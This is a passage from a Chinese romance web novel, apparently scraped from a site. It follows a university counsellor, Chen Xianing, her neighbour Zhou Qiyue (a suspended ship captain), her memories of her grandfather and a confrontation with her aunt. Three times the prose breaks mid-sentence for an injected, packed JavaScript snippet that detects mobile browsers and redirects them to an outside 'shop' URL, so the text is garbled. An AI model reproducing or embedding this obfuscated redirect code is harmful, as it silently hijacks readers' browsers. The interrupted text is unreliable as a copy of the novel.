正在回忆着,“叮铃铃”手机闹钟响起,提醒她该睡觉了。 陈夏柠每天要早起,一旦熬夜第二天工作也不在状态,赶紧合上电脑,爬上床关灯睡觉。 真是想什么来什么,在梦里她记忆一下子拉回高二下学期,正值高三百日冲刺,班主任刘宇居安思危到让整个理科13班的学生思考一下自己的大学目标。 “你们把目标院校贴到教室后面啊,”刘宇对自己带的第一届学生操碎了心,“明天周五最后一节自习我邀请一位学长来给你做经验分享,都不许缺席听到没!” 周五下午有节体育课,陈夏柠来生理期从不肚子疼就没请假,但那天长跑完后她第一次感受到生理期的威力,像是要把之前所有的痛都偿还过来。 她整个人蹲在地上下一秒就要倒,同桌好心扶她去医务室,医生看她那么痛苦给她开了一剂布洛芬,药效没那么快,陈夏柠躺在病床无法走动。 “算了,你就待在这吧,反正下节课也是自习。”同桌走之前安抚道,“我帮你跟班主任请假。” “好,谢谢。” 陈夏柠在医务室躺了一节课,直到听见放学铃声,肚子好像没事了。 回班拿书包,她的座位比较靠后,抬头瞧见黑板上的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982547|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字:【高中学习经验分享会】 落款:【中国海事大学,周祈越。】 但也只是匆匆停留三秒,许佳念跑到班门口喊她:“夏夏。” 俩人每天放学都会一起回家,许佳念很馋校门口新开的奶茶店,带着她一起去排队,俩人聊到目标院校。 “夏夏,你想考哪所学校啊?” “就待在本市,海大吧。” “因为江逸风吗?” 陈夏柠温吞地点头:“算是吧。” 其实不止因为江逸风,而是因为爸妈也会让她考海大,费劲心思劝她选理科,甚至让她放弃学艺术。 陈夏柠不是没反抗过,可她也无能为力,从小到大身边所有人都在让她听话和服从,按照爸妈给的规划走下去,讨得爷爷的欢心,继承家业。 记得有一次就是因为她不好好学习钢琴,陈京辉和萧婷在家里吵得不可开交,当时陈夏柠真的害怕极了,哭着求爸妈不要吵了,我好好学习钢琴,让爷爷满意。 既然江逸风也会考海大,那么这样想,陈夏柠会好受一点,她能和喜欢的人读同一所大学。 陈夏柠取完奶茶先出来。 外面的天灰蒙蒙一片,乌云压得很低,应该是要下雨了。 她站在屋檐下喝着手中的珍珠奶茶。 刚尝一口,腹部又开始泛起痛感,小姑娘靠着墙根缩成一团。 她也不知道自己怎么会脆弱成这样,心慌得很,快要有眼泪挤出来。 忽地,身前落下一道人影,连带着清澈的问候声:“你还好吗?” 她没力气抬头,只闻到少年身上散发出的青柠味,他弯腰递过来一杯用奶茶塑料杯装的热水,应该是从店里要来的。 他提醒:“小心烫。” 陈夏柠像只蜷缩的小猫,双手捧着塑料杯,吹拂上面的热气,一口喝下去肚子舒缓了许多:“谢谢你。” 话间一抬头,少年只留下一道模糊的背影。 当时天色很暗,如果没看错,他是穿着白衬衫黑裤子,跑得很快。 ...... 早自习结束后,学生一蜂窝跑向食堂。 学校有6个食堂,陈夏柠最喜欢3食堂的早点,买了份豆浆和紫薯发糕,碰见鹿雯,俩人一起找好空位坐下。 就在这时门口来了一列穿着航海服的男生,白衬衫黑裤子,青春朝气蓬勃,英气焕发。 陈夏柠目光顿了顿,再次想起昨晚那个梦,仿若从他们身上看见那位少年的影子。 “陈老师,你工作准备的怎么样了?”鹿雯咬了口包子,瞧着她说,“需不需要我给你介绍个校友?” 陈夏柠收回目光,笑了笑:“谢谢,我已经找到合适人选了。” “谁啊?”鹿雯好奇道。 “周祈越。” 鹿雯低头喝粥的动作一顿,神情严肃地看她:“你没看新闻吗?” 陈夏柠:“什么新闻?” 不过就两天没打开微博,现在一看,有关凌极号的报道铺天盖地,有关这次事故的讨论较为极端。 有人说,这只不过是出海常见的意外。 还有人把责任完全退给船长,B国不安宁人尽皆知,为什么还要靠近B国海域,应该彻查这位船长,他是不是居心不良,故意不让科考顺利。 后者的偏激言论甚至攻击船长是间谍。 “这些人怎么这样啊,”陈夏柠翻着那些恶意评论,为他打抱不平,“周祈越为了确保全员安全都主动舍弃个人安危去当人质了。” “网络键盘侠不就这样,随意地捏造事实。”鹿雯叹了声气,“我们相信他,别人未必相信他,我还是建议你换个人吧,周祈越正在风头浪尖上。” 31. 爷爷 另一边,沿海地区高楼大厦间,港林航运公司。 周祈越下了电梯抵达一楼,单手抄兜往外走,后面的人快步追上来。 “老大,你别气馁,”叶恒郑重其事地劝说,“我肯定能帮你找到证据,证明你清白。” 凌极号事件引起社会广泛关注,对于追责的呼吁声愈发强烈,经多方考虑,公司选择给他停职。 周祈越摘下头顶的鸭舌帽,轻笑了下,吊儿郎当道:“你哪点看出我气馁了?反正我跑了这么多年的船,属实累了,的确需要给自己放一个长假。” 话虽如此,这件事关乎到他个人声誉,要是处理不好,恐怕没有航运公司再愿意任用他。 “都怪那个刘砚,关键时刻当什么缩头乌龟啊,”大厅内,叶恒越说越激动,抬高嗓门,“我看他——” “行了。”周祈越拍了拍叶恒的肩膀,让他就此打住,望着四周提醒,“祸从口出,小心点啊你。” 他转身离开公司,快到地铁站时想起了什么,掏出手机发消息。 July:【新闻看了吧,这边建议你另请高人。】 大一军训还未结束,校园内随处可见穿着军训服的学生,陈夏柠路过操场时,一列方阵从旁边走过齐声对着她喊:“导员好!导员辛苦了!” “......” 陈夏柠正魂不守舍地盯着微博上港林航运公司发布的公告,被这嘹亮的声响震得魂魄归体,瞥了眼带队教官,是她的学生,裴青寂,参军两年归校,目前就读大二。 她尴尬一笑,揣好手机快速走过去,到学生事务中心,拿防诈宣传手册。 宣传部门的石老师招呼道:“陈老师怎么亲自来,不找个学生。” “没什么,刚好我空闲。”陈夏柠不是很喜欢使唤学生做她分内的事,径自站在柜台清点手册,口袋里的手机震动一下,是周祈越的消息。 她抽出手回:【我觉得没什么,谣言是说给相信的人听的。】 发完这条消息,对面坐电脑桌的石老师刷到同样新闻:“天哪!凌极号的船长是我们学校毕业的吧!” 同事接话:“周祈越,在校的时候可牛逼了。” 石老师自顾自地给出真诚建议:“网友的审判太不理智,等热度过去,说不定他就可以复职了。” 旁听的陈夏柠觉得这话有道理,估计公司是为了给公众一个交待才下达停职,让周祈越避避风头,他现在的确不宜张扬出现。 下一秒,周祈越的消息发过来,隔着屏幕就能感受到他的洋洋自得的模样:【这么相信我啊。】 Lemon:【那看在我这么相信你的份上,你能不能再介绍一位船长给我。】 July:【再见.jpg】 陈夏柠:“......” 屋内的讨论声又转移到其他话题:“最近真不太平啊,陈氏集团刚跟我们学校建立融资合作,现在又被爆出资金漏洞。” “哎,陈老爷子去世后,他儿子忙着争夺家产,倒是没能力经营公司。” 她抱着一摞宣传册刚走到门口,脚步一顿,面色沉了下来。 - 回到办公室后,陈夏柠在班委群通知班长课间来拿防诈宣传册,而后情不自禁地打开百度,搜索陈氏集团,页面很快跳出最新资讯。 其实她不应该再关注这些事情的。 只是惋惜爷爷生前所期待的终究没能如愿。 人们常说,事业和家庭不可兼得,这件事在陈淮松身上体现得淋漓尽致,他这一生亲力亲为地奉献给航运事业。 深爱的妻子早逝,三个孩子没一个成器的,长大之后只想着啃老,继承家产。 大女儿陈慧棠为了成为大股东,不惜利用总经理的职位泄密给对家,甚至偷税漏税,当年这件事细究下来,陈淮松发现两个儿子也有参与。 于是他对这三人失望至极,开始思量以后在孙子孙女中物色继承人。 至于为什么是陈夏柠,大概是因为她是陈淮松和妻子带大的。 陈京辉和萧婷的感情不好,女儿一出生,俩人闹着要离婚,直接把孩子丢在家,远赴国外。 这一丢就是五年。 这五年内都是两位老人抚养孙女长大,小女孩乖巧讨人爱,给两位的生活带来很多欢声笑语。 五年后,陈淮松给癌症离世妻子办葬礼,之后便整日消沉。 儿子女儿不来安慰他,只有年幼的孙女会跑过来给他拿纸巾,嚷嚷着:“爷爷别哭,夏夏会永远陪着爷爷。” 幸好有孙女在,陈淮松度过了难熬的日子,孙女的存在就像是一份慰藉,能让他记起那些美好的回忆。 可是没过多久,陈京辉和萧婷从国外回来,说他两没离婚,这五年在国外创立公司,现在公司遇到资金困难,想请求陈氏集团的帮助。 这夫妇二人狠心丢下女儿,连母亲去世都没回来,自己的公司遇到困难了,却好意思回来求助。 陈淮松当然不会帮他俩,指着他两骂:“你们这两个冷漠无情的人还有亲情吗?你们不配喊我爸,不配得到陈家的一毛钱!” 最后换来的是更无情的对待,陈京辉和萧婷赌气,一狠心偷偷把女儿带到国外,不让爷孙俩见面。 然后又过了八年,孙女13岁,陈京辉和萧婷的公司破产,在国外实在活不下去了。 又加上陈淮松年纪也大了,着实想念孙女,愿意放下过往隔阂,接纳他们回家。 有关爸妈、姑姑和大伯的争斗还是陈夏柠上大学后,爷爷跟她说的。 从国外回来后,在这个大家庭中还有两位堂哥,只要陈夏柠和他们待在一起,就会被比较,谁更聪明,谁更有潜力。 当时她听不懂,后来才知道他们是在爷爷面前炫耀自己的孩子更适合当继承人。 其实爷爷对她挺好的,萧婷只在乎她成绩好不好,像不像大家闺秀,而爷爷更多的关注她开不开心。 陈淮松爱做慈善,喜欢下乡游玩一定会带上陈夏柠,也只有借着出游的目的,爷孙俩才能真正有独处的机会。 渐渐和陈淮松熟络后,陈夏柠能够感受到这位平日威严的董事长不过就是一位空巢老人,她很想陪他,让他不那么孤单。 十八岁那年,陈淮松带她去度假村过生日,老爷子站在高楼俯瞰着菜园里劳作的农民,蓦地扭头看她:“夏夏,你知道爷爷最大的心愿是什么吗?” 陈夏柠思索了一会儿:“妈妈说,你最在意公司,那么爷爷肯定希望公司蒸蒸日上,世界第一。” “不。”陈淮松摇了摇头,意味深长地说,“我活了一辈子,发现最重要最珍视的东西还是亲情。” 陈夏柠顺着爷爷的目光望过去,看见三世同堂的场面,三代人和和睦睦地坐在树荫下乘凉,笑容满面。 而爷爷脊背弯曲,头发花白,笑容沧桑,又像是在做一个美好的梦:“我最大的心愿就是有个纯粹的家,我的孩子们都不再争斗,成为一个有血有肉的人。” 以前陈夏柠还不能感同身受,可现在一想到这句话就会忍不住热泪盈眶。 陈淮松大半辈子都活在虚伪的假象当中。 甚至也包括陈夏柠。 她也是假的,不是他的亲孙女。 “陈老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982548|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师,校友的人选确定了吗?”林思走过来问,发觉她眼睫微湿,“你怎么了?” 陈夏柠思绪转回,用纸巾擦了擦眼,笑着解释:“盯着电脑屏幕太久,眼睛有点发酸。” 鹿雯扭头看过来,替她回答:“校友已经找好了,不用担心。” 林思往她桌上放了一张空白表格:“那行,记得填一下邀请人的信息,明天交给书记。” “好。”陈夏柠点头应声,看了一眼鹿雯,她移着座椅凑过来小声说,“我新交了一个男朋友。” 陈夏柠挑眉:“是船长?” “差不多,”鹿雯嘻嘻一笑,“他家是造船的。” 陈夏柠:“......” “哎呀,同样是我们航海学院的优秀校友。”鹿雯特别想让男朋友来校分享讲座,话间拿过表格填写,完事后转交给她。 陈夏柠瞅了眼信息,此人名叫谢泽,在一家造船公司担任总经理,履历是不错。 也行吧,又没说非要船长,她算是完成任务了。 恰好中午放学铃声敲响,反正住的地方很近,陈夏柠准备回家做饭,顺便睡个午觉,拎着包起身,却发现手机不见了。 想了一想,她好像落在学生事务处的前台上了,庆幸过去找的时候还在。 陈夏柠摁亮手机准备扫辆单车离校,谁知看见一小时前周祈越发来的消息,他推送了一个微信名片:【我同事叶恒,二副,已经跟他说过了。】 陈夏柠眨了眨眼,愣在原地。 怎么就这么...抓马呢。 - 进入海天宜城,陈夏柠往单元楼栋走,低着头盯着周祈越的聊天页面,着实为难。 总要鸽一个人,目前来看,只能鸽他了,最好当面解释才行。 她将手机放到包里,抬起头,刚踏上门前的台阶。 忽地,身后有双手拽着她包的肩带,陈夏柠下意识抓紧包,连带着整个人被拉下阶梯。 一回头对上中年妇女尖酸的目光,她留着利落的齐肩短发,即使身着最朴素休闲服也遮挡不住那股傲慢劲儿。 陈夏柠后退一步,怯生生应:“姑姑。” “你这个死丫头还敢回国,”陈慧棠嘴角一抽,视线落到她的托特包上,嗤笑,“竟然还有脸背我爸送的包。” 陈夏柠不想跟她吵架,淡淡道:“您有什么事吗?” “你说我什么事,”陈慧棠凶巴巴地瞪她,盛气凌人地吼叫,“快把我爸的私人财产吐出来!你这个假冒货不配得到我们陈家一分钱!” 陈夏柠倒吸一口气:“我不知道你在说什么。” 陈慧棠还跟之前一样,随时都能原地爆发,直接上手捶她肩膀:“不知道?你整天就装不知道!骗我爸的感情,你这个小贱人,谁允许你进我们家门了。” “......” 陈夏柠眼角一酸,吞咽了下,被往事的回忆淹得失魂落魄,就这么站着任她打。 “你一个野鸡想当凤凰,你也不想想自己配不配?”陈慧棠瞧着她那张脸就来气,扬起手臂要扇她。 陈夏柠猛地晃回神,眼瞧着一巴掌要落下,倏忽,一只宽大的手掌插过来,毫不客气地将中年女人甩开。 周祈越目光转过来时,这姑娘眼眶泛红,微低着头不敢看他。 “大妈,”他阔步挡在她面前,歪头睥睨着陈慧棠,“这青天白日的,你要撒泼就去公安局。” 陈慧棠叉着腰:“你叫谁大妈呢?!” 周祈越眼神厌恶,悠悠语调:“不然呢,我只喊有素质的人为奶奶。” “......” 32. 读心术 陈慧棠的脸色已经不能再难看了,她一向不是个好惹的茬。以前在陈家,三姐弟嘴角发生冲突,她都能不顾形象地上手打人,骄纵狂妄到不把任何人放眼里。 所以从小到大陈夏柠对这位姑姑也是望而生畏。 但周祈越也不好惹,现在的场面就是,两个不好惹的人撞上了。 如果真要有个对比的话,陈夏柠觉得周祈越对付不了陈慧棠,因为她发起飙来根就是个不讲道理的泼妇。 “姑姑,你请回吧,我从没拿爷爷的财产。”陈夏柠虚握拳头,视线越过男人的肩膀,跟她对视。 陈慧棠冷嗤一声,显然不信这鬼话,抬手要把她揪出来。 周祈越横在俩人中间,挺阔的身形往右边一挪,完完全全挡住陈夏柠。 “大妈,你到底走不走?”他语气轻狂,原本是下楼丢垃圾,此时手里还晃着黑色垃圾袋。 像是发出警告,你再不走,我扔你一身垃圾。 陈慧棠爱干净,往后退半步,眼神在两人之间打量,最后停在陈夏柠身上,“行啊,你这个狐狸精总能找到靠山给你撑腰,以前是我爸,现在又来勾引——” 话还没说话,黑色垃圾袋猛地丢在她身上,有汤汁渗出来,泼在她绸缎质地的短袖。 “啊——”陈慧棠双手抓头,跺着脚尖叫起来。 陈夏柠眉心紧蹙,心想真要完了。 周祈越目光冰冷,下颌紧绷,食指指着她:“大妈你的嘴巴和这垃圾一样臭,属实应该丢在垃圾桶。” “......” 陈夏柠挺震撼的,他怼人的本事远比想象的厉害很多。 陈慧棠也顾不得吵架了,扯着衣服仓皇而逃。 等人走远,周祈越把垃圾袋丢在门口的垃圾桶里,回过头看她,陈夏柠还杵在原地惊魂未定。 他神色恢复如常,朝她努努下巴:“不上楼?” 陈夏柠点头如捣蒜,跟在他身后乘电梯。 逼仄的空间就他俩,周祈越站在她斜前方,陈夏柠站得规矩,像个受处罚的学生,一声不吭。 之前遇见这事,陈夏柠会麻木地习惯,而后快速整理好情绪。 可现在她即使冷静下来,也感觉胸口被什么东西堵住,闷得慌。 她其实不想让别人看见这个场面。 看见她狼狈被辱骂的样子。 可每一次周祈越都在目睹她的阴暗面,却还能坦然地当做什么都没发生过。 电梯门开,俩人先后走出去,周祈越回头看她,不咸不淡地问:“吃午饭了没?” 陈夏柠垂着眼,声音很轻:“正...正要回家做。” “还欠你一顿饭,现在还你。”周祈越眼神示意她去自己家。 陈夏柠跟他进屋,还在回忆他什么时候欠她饭的事。 莫非是上次她请他吃“烛光晚餐”,这次他要还回来。 他问:“想吃面还是饭?” 她闲散道:“面吧。” 周祈越正在厨房忙活,她老实坐在客厅沙发,望了望他的背影,视线收回,定在自己的白色托特包上。 不是A货,的确是香奈儿。 大四那年,身边的同学要么考研要么实习,陈夏柠一心想着离开海云市,去一个陌生的地方重新开始。 因为那个时候,家里所有人都知道她不是真千金,不会成为继承人,对于爸妈而言,她也失去了利用价值。 当时学校有设立留学基金会,为了鼓励学生留学,绩点达到要求的学生可以申请学费全免。 陈夏柠符合要求,全身心留在学校备考雅思,将目标院校定在墨尔本。 考完雅思是九月末,即将迎来国庆假,陈夏柠深知没资格再回家,趁着假期在网上找展会的兼职。 她总要提前适应一个人生活,自食其力。 也不介意给人发宣传单。 那是一场航运业的展会,来来往往的人群中,陈夏柠和对视上爷爷慈祥的目光,鼻尖酸涩难耐,泪水快要掉下来。 就像姑姑所说,她这个假冒货还有什么脸面出现在陈家人面前。 陈淮松拄着拐杖,笑着走过来,将手里拎着的礼盒给她:“夏夏,这是爷爷提前送给你的生日礼物。” 陈夏柠并不敢接,的确没有脸也没有资格。 陈淮松以不容拒绝的态度,直接给她放到柜台就走了。 陈夏柠望着他的背影,绝对想不到那是他们此生倒数第二次见面。 爷爷送给她很多生日礼物,无非是她们这个年纪女孩子喜欢的东西,这个托特包却是最后一件。 这个包最特别之处在于上面专门绣了两个卡通人物。 十七岁时陈夏柠画过一张她和爷爷的卡通漫画,送给爷爷时随口说:“要是我的书包上面有我和爷爷就好了。” 后来她的书包真的有这个图案。 ...... 周祈越从厨房里出来,端着碗放到餐桌,隔空瞧了眼坐在沙发上的人。 她侧脸弧度柔和流畅,光线打在她瘦削的肩膀,整个人乖巧安分得像家里养了只猫。 “吃饭了。”周祈越目光顿了顿,轻声喊,“柠柠。” 陈夏柠闻声回头,站起身走过去,“你刚刚喊我什么?” “我说吃饭了。” “后半句。”声音太小,她没听清。 周祈越折回厨房拿两副筷子,递给她一双,含糊其辞道:“我说,别发愣了,陈迷茫。” “......” 陈夏柠拉开凳子坐下,茫然地看他,无声说,你又在瞎起什么外号。 周祈越正视她的表情,贴切地形容:“还说自己不是陈迷茫。” 陈夏柠无言,一低头看到面前盘子里的热干面,又再次露出同样的表情。 大脑飞速运转想起了什么。 周祈越捞起筷子挑面条:“快尝尝我做的正不正宗。” 陈夏柠学着他动作,慢条斯理地品尝。 想起他们俩的聊天对话,她发过去一张热干面的照片。 ——【还没有海云市的正宗。】 ——【下次见面让你尝尝我做的热干面,绝对正宗。】 陈夏柠都快忘记这件事了,准确的说,也就当时放在心上,事后更是当成随口的玩笑话。 “挺好吃的。”她低头嚼着面条,左手给他竖大拇指。 周祈越靠着椅背,抱着胳膊,一副“万众敬仰我”的神情:“过奖过奖,等你吃过我做的咖喱饭再来评价。” 陈夏柠目光一顿,又想起自己随口说的一句话。 ——【那下次见面尝尝你做的咖喱饭。】 - 吃完饭,周祈越也不用怎么收拾,将盘子放到洗碗机里就完事了。 陈夏柠站在冰箱旁边,犹犹豫豫的,又像个罚站的学生。 她准备要鸽他了。 他从厨房走出来,对上她的眸,有种预感:“你最好有好消息要说。” “......”陈夏柠摸了摸脖颈,挤出一抹笑意,“我打算送你一样东西。” 周祈越往客厅走,兴味盎然道:“说来听听。” 陈夏柠跟过去:“一只小白鸽。” “......” 周祈越身体慵懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997228|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地陷在沙发里,捞起手边的平板随意刷着页面,装腔作势地掩饰自己对她的注意力,却又能够读懂她想说什么。 “你最好不要告诉我,你不需要叶恒了,因为我已经通知他后天来校,并且他也请好假了。” “......” 完了,精准踩雷。 她愣了下,匪夷所思地问:“你不会有什么读心术吧。” 这事不难猜,因为到现在她还没回他消息,那说明肯定有突发状况。 更何况她情绪和心事永远写在脸上,要说有读心术也只能读懂陈夏柠吧。 就比如他看出来她难堪的不是遇见姑姑,而是被别人发现自己的狼狈。 所以他能心照不宣将这事翻篇。 周祈越不依不挠道:“别转移话题。” “......” 陈夏柠怯生生地坐在沙发凸起的地方,闭了下眼,准备接受他的控诉和鞭策。 在此之前她需要申请陈堂自述的机会。 过了一会儿。 听完她看似合理实则很戏剧的“狡辩”,周祈越扔下平板,目光灼灼地瞧她,表情不满:“这好像是你的问题吧。” 也有你的问题,谁让你发了个“再见”的表情包,我还以为你不帮忙。 陈夏柠深知自己理亏,不敢说这话。 况且见识到周祈越对付姑姑的样子,她想想就心里发怵。 还是不要惹他,先服软为好。 “我试着问问书记能不能同时邀请两位校友,要是不行的话,”陈夏柠本着遇事解决问题的原则,循循善诱道,“这件事就当我欠你两个人情,你不亏的。” 周祈越呵笑,目光直直地锁住她:“你都欠了我多少人情了,还得清么?” “能啊!”陈夏柠拿出自己和许佳念那套还人情的惯常套路,“你想让我请吃饭还是看电影,或者去迪士尼、溜冰、滑雪。” 周祈越边认真点头,边朝她挪过来。 他身上的乌木香像一面大罩子包裹着她,带着攻击性。 男人好整以暇地审视她:“你说的这些不是情侣该做的事么?” “......” 陈夏柠一怔,脑袋一下子没转过来弯。 同时注意到俩人距离拉得很近。 周祈越的视线很灼热,能把她钉在原地动弹不得,呼吸紊乱。 分明她可以解释,貌似连语言系统也乱掉了:“我....我.....” 她想说,我没有,转念一想,她的话的确不妥当。 女生闺蜜做的事,要是换成异性,那就是男女朋友应该做的事了。 然而挑事人似乎不嫌事大,他继续用自己那套读心术解读她的意图。 “还是说,你想以身相许。” “......” 这种感觉可以形容为,她脑子刚转过来一个弯,突然发生车祸了。 而后轰隆隆的爆炸声在耳边响起。 怎么!会!这样?! 以!身!相!许! 这四个字好像变成四把剑,先后刺向她胸口,击得她溃不成军。 陈夏柠着实招架不住,感觉自己呼吸困难,脸色发麻,热度席卷头颅。 周祈越身体往后倾,拉开些许距离,胳膊肘闲适地搭在双腿,总算舍得将目光挪向别处,悠悠道:“我就开个玩笑,你也不用这么脸红。” “......” 闻言,陈夏柠神经稍稍松弛下来。 下一刻,他又峰回路转,欠揍地补刀:“还是说,你真有这方面的想法?” “......” 33. 人情 如果把他们之间的谈话比作游戏打怪,周大Boss算是把她攻击得体无完肤。 陈夏柠此刻战斗力严重不足。 再多待下去,她可能彻底死翘翘,连复活的机会都没有了。 她装模做样地看了眼时间,匆匆起身道别:“我要去上班了,回见。” 客厅留下她的尾音。 周祈越嗤笑了声,朝玄关处喊:“别想搪塞我啊,这事没完。” “......” 陈夏柠加快脚步跑出去,也不想回家午睡了,径自下电梯回学校。 出了小区门口,她这才彻底放松警惕,思绪清醒了些。 陈慧棠怎么会找到她住的地方? 难道是跟踪。 不过陈慧棠到底在发什么疯,为什么要找她要爷爷的财产。 陈淮松是突发心梗去世,并没有明说把公司交给谁,应该也没交待清楚自己的财产分配问题。 陈夏柠早已不参与陈家的争斗中,这些年从别人口中得知,爸爸虽然成为董事长却没有多大实权,而大伯才是最大的股东。 至于姑姑,她早就被逐出公司,爷爷去世后,她估计连杯残羹都没分到。 陈夏柠走的很慢,以免打扰到办公室休息的老师,她掐着上课时间进入。 她的办公位在角落靠窗的位,空间还算大,把包挂在后面墙壁的挂钩上,目光再次定在那张带有老人和小孩的卡通图案。 你随口说的话有人记得,这种感觉真好。 陈夏柠打开电脑,页面停留在上午的搜索,她干脆全部关闭。 有些事情想不清楚就不纠结,反正她也不想再跟那家人再有牵扯。 中午是念在往日的情分,如果下次陈慧棠再找麻烦,她必须硬气起来,不能任人欺负。 上课铃声敲响,走廊内逗留的学生一扫而空。 王书记手臂横着一沓文件夹进办公室,爱八卦的人也有眼力劲儿的噤声。 “陈老师,这是统计的支教报名表。”他递过来一叠纸,推了推眼镜,“以后朝阳岛的交流都交给你,你想办法筛选下名额。” 陈夏柠翻着报名表,一目十行地扫下去,讶然:“怎么会有这么多人?比预想的超出十倍。” “还不是多亏了你的宣传视频。”王书记顿了下,补充道,“应该多亏某个不知名的好心人给那个视频充钱买流量,上了一波热搜。” 鹿雯扭头好奇道:“多少钱啊?” 王书记:“后台显示十万。” 闻言,其他人注意力也转移过来,个个震惊不已。 鹿雯:“我还以为是真的火了呢,原来是有人砸钱。” 宋月:“关键对方做好事不留名。” 林思:“金主爸爸下凡。” 陈夏柠点开学校官博,一眼看见置顶有五十万点赞评论量。 她记得上次发出去两天也就是几百个赞,留言很少。 当时还担心报名参加的人数不够,现在是太多了。 这个项目不仅面对本校学生,而是覆盖整个中元大学城。 “那行,我组织一个面试吧。”陈夏柠收好报名表,先把面试的事传达给校青年志愿团组织。 她发完消息,王书记还没走,正交待林思开学典礼的事,这周五军训结束当天。 陈夏柠走过去插话:“书记,我问一下,可以多邀请一位校友吗?” 王书记笑了笑:“我已经多加一位了,要是再加组织部门要疯的。” 林思附和着说:“是的,开学典礼都是按照时间排好的,加一个人就会打乱原有安排。” 陈夏柠讪笑了下:“好,我就随便问问。” 而后坐回位,发消息重新确定一件事。 她低不可闻地叹气,还不如不问。 Lemon:【不好意思,替我跟你朋友说声抱歉。】 July:【嗯,很好奇是哪个人让你放我鸽子。】 陈夏柠想了下谢泽的信息:【他跟你同一届的,名字叫谢泽。你认识吗?】 July:【何止认识,那是我儿子啊。】 陈夏柠:【......】 - 今天周三,学生照旧要上晚自习,没什么特别的事导员可以不去查班的。 只要想到一回去就可能会撞见周祈越,她又要面对上午那个话题,陈夏柠选择拖延战术,先躲着他。 陈夏柠留在学校吃晚饭时,专门去微博发帖求助怎么还异性的人情较为妥当。 【求助,经常受一位男性朋友的帮助。但他这人挺挑剔,还有点自恋,不知道该怎么还人情,才不会被误会。】 没过一会儿,有两个人回复她。 【还能怎么样,请吃饭呗。一来一回,你俩的感情都升温了。】 【补充楼主,要看对方帅不帅,要是帅就请吃饭,要是不帅,那就买烟酒打发他喽。】 陈夏柠皱眉,摇了摇头。 不靠谱不靠谱。 她转去求许佳念。 念念不忘:【你欠谁人情了?】 Lemon:【就一个异性朋友。】 念念不忘:【咱俩就别藏着掖着了,你那点社交圈我还能不知道,你有什么异性朋友啊,不会是周祈越吧。】 隔着屏幕,陈夏柠长叹一口气,感觉今天自己像个透明人,什么心思都藏不住,无奈将事情的来龙去脉告诉她。 念念不忘:【我有一个问题,你为什么不鸽你同事,而是先想到鸽周祈越呢?】 陈夏柠迟疑了几秒:【我跟同事不熟,不太好意思拒绝她。】 念念不忘:【哦,你跟周祈越很熟,都不把他当外人喽。】 陈夏柠正想回复对,又觉得不对,总觉得哪里奇奇怪怪的。 念念不忘:【啧啧女人,你已经沦陷了。】 陈夏柠接不住她这个跳跃的思维,起身放好餐盘,走出食堂,发过去一条语音,义正言辞地强调:“我那是把他当成朋友,所以才不见外的。” 下一刻,许佳念发起语音连环轰炸:“哎哎,你这话我保存了,以后别真香啊。” “我才不相信男女之间有纯洁的友谊,你俩一个翩翩公子,一个美若天仙,更不可能只是朋友。” “......” 陈夏柠真服了她这个比喻,不敢恭维:【我很普通的,而且我不觉得会有人喜欢我。】 许佳念那边恨铁不成钢地扯着嗓子:“夏夏!别妄自菲薄啊......说不定周祈越就是喜欢你!否则他为什么接二连三地帮你。” 她只是想求助怎么还人情,现在倒好,话题严重偏离轨道。 陈夏柠低不可闻地叹了口气,一时间情绪里某个点悄然蒸发,她停下去楼梯口的脚步,转身往D座贩卖机买饮料喝。 航海学院拥有全校最大的教学区,分为ABCD四栋楼连接而成,中间是个很大的花坛休息区。 陈夏柠选了个安静的地,一个人静静地坐在走廊下,喝着冰镇柠檬汽水。 秋日的傍晚不冷不燥,她这个视角还可以观摩一副动态图——西边天际的橘红色逐渐消匿。 “嗯...你别,别扯......”是女生娇嗔声,很近的距离。 男生透露着痞坏嗓音:“又没其他人,你怕什么。” “.....” 陈夏柠愣了下,原本不该围观的,只是觉得有个声音特别耳熟。 她下意识循声望去,看向后侧方的情况。 男生高大的身形,黑色衣服,膝盖将女生双腿分开,把她压在教室外的墙壁上。 他抬手捏着她的下颌,带着上位者的姿态,掌控味十足,撩得女生耳红面赤。 陈夏柠瞳孔猛地一缩,原本平复的情绪彻底扰乱,不愿回忆的过往止不住地跳出来。 大二下学期,学校举行春季运动会,航海学院的女生少,啦啦队名额要从别院来凑数,其他三位室友本着要钓帅哥心态去报名,连陈夏柠也被硬拉上,她原本不报希望的。 神奇的是,她们寝室全都录取了。 在萧婷的教育模式下,她的女儿就该能歌善舞,所以陈夏柠会跳舞,但是在很多人面前她会感到羞耻,动作无法自然放开。 也就是篮球赛排练那天,啦啦队一同前去演习,陈夏柠跳舞时注意到江逸风的目光,内心的小鹿怦怦乱跳,只觉得紧张得不行,忽然和身边的同伴撞了一下。 